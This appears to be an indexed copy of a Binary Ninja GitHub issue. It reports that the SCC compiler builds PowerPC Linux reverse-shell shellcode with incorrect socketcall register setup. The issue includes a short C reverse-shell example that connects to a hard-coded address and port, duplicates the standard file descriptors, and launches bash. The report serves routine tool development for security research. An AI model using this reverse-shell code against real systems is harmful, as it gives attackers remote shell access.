Vector35 / Vector35/binaryninja-api

Powerpc socketcall is not setup properly

Open
#628 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Component: SCC Effort: Medium Impact: Low
Dominant language
C++
Stars
1.3k
Forks
298
Avg merge
5d 5h
Merged PRs (30d)
19

Description

Generating powerpc shellcode for a reverse shell on linux does not do socketcalls properly. r4 should point to the beginning of the arguments in memory (usually on the stack, libc puts them at r1+0x14). r0 should have 0x66 and r3 should have the socketcall number. In the following code snippet, both socket() and connect() are called improperly in the generated shellcode. Once those are fixed up properly, the rest of it runs fine.

void main()
{
	int s = socket(AF_INET, SOCK_STREAM, 0);
	struct sockaddr_in addr;
	addr.sin_family = AF_INET;
	addr.sin_port = htons(31336);
	addr.sin_addr.s_addr = 0x0b0b0b0b;
	connect(s, (struct sockaddr*)&addr, sizeof(addr));
	dup2(s, 0);
	dup2(s, 1);
	dup2(s, 2);
	bash();
}

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by locating the PowerPC Linux reverse-shell shellcode generation entry point and inspect how socket() and connect() arguments and registers are prepared. Compare the generated setup with the register requirements stated in the issue and the provided C example. Done means both calls use the correct socketcall number, argument pointer, and syscall number so the remaining shellcode runs successfully.

Written by the indexing model from the issue text.

Assessment

Tech stack
cpp, linux
Domain
operating-systems, reverse-engineering
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
42/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.